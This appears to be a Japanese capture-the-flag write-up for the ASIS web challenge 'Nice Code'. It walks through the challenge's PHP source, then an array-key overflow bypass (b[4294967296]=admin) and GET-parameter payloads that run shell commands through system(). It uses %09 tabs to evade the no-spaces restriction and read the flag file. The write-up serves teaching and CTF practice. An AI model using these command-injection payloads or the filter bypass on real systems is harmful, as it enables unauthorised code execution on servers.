Nice Code
Category
Web
Description:Beautify php code! Here
さらにGET STARTEDのボタンをクリックすると、http://167.99.36.112:8080/admin/?というURLへ遷移し、次のような文字列が表示されます。
次にhttp://167.99.36.112:8080/admin/を表示してみます。URLの最後が/index.phpでなければならないようです。

それでは、http://167.99.36.112:8080/admin/index.phpにアクセスしてみます。次の文字列が表示されます。/index.phpで終わるが、/admin/index.phpではダメなようです。

いろいろ試してみると、http://167.99.36.112:8080/admin/index.php/index.phpにアクセスすると、次のページが表示されました。
Click hereのリンクはhttp://167.99.36.112:8080/another/index.php?sourceへのリンクになっており、クリックすると、次のようにphpのソースが表示されます。パラメータをうまく送信することでshellを実行することができるようです。
まず、POSTでパラメータbを配列の形で’admin’と’oloco’の2つ送信する必要がありますが、0番目が’admin’ではダメなので、PHPのバグを利用して次のように送信してみます。2^32=4294967296です。これは配列での比較(===)では一致(True)となりますが、配列の0番目の要素にアクセスすると初期化されていないことになります。<?phpinclude('oshit.php');$g_s = ['admin','oloco'];$__ni = $_POST['b'];$_p = 1;if(isset($_GET['source'])){highlight_file(__FILE__);exit;}if($__ni === $g_s & $__ni[0] != 'admin'){$__dgi = $_GET['x'];$__dfi = $_GET;foreach($__dfi as $_k_o => $_v){if($_k_o == $k_Jk){$f = 1;}if($f && strlen($__dgi)>17 && $_p == 3){$k_Jk($_v,$_k_o); //my shell :)}$_p++;}}else{echo "noob!";}
b[4294967296]=admin&b[1]=olocoFiddlerで[Replay]-[Reissue and Edit]を使用して、次にようにリクエストを送信します。
レスポンスを確認すると、noob!という文字列が出力されませんのでパラメータbのチェックは通ったようです。
次のチェックですが、GETパラメータが以下のような条件を満たす必要があるようです。
- xが17文字より長い
- 関数との比較が一致(==)しなければならない
- 3つ目のパラメータのときにshellが実行される
- 3つ目のパラメータの名前にコマンド、値にパラメータを指定する
?x=123456789012345678&0=0&ls=systemFiddlerで次のようにリクエストを送信してみます。
次のようにlsコマンドの結果が返ってきます。
さて次に各ディレクトリの中をlsコマンドで見てみたいと思いますが、ls /varにようにスペースは使用することができません。そこでタブ(%09)を使用して次のようにリクエストを送信します。
?x=123456789012345678&0=0&ls%09/var=systemすると次のように結果が返ってきました。
backupscacheflagliblocallocklogoptrunspooltmpwww
flagファイルがありますので、catコマンドでファイルの中を見てみたいと思います。次のようにリクエストを送信します。
フラグが表示されました。?x=123456789012345678&0=0&cat%09/var/flag=system
ASIS{f52c5a0cf980887bdac6ccaebac0e8428bfb8b83}フラグは、
ASIS{f52c5a0cf980887bdac6ccaebac0e8428bfb8b83}です。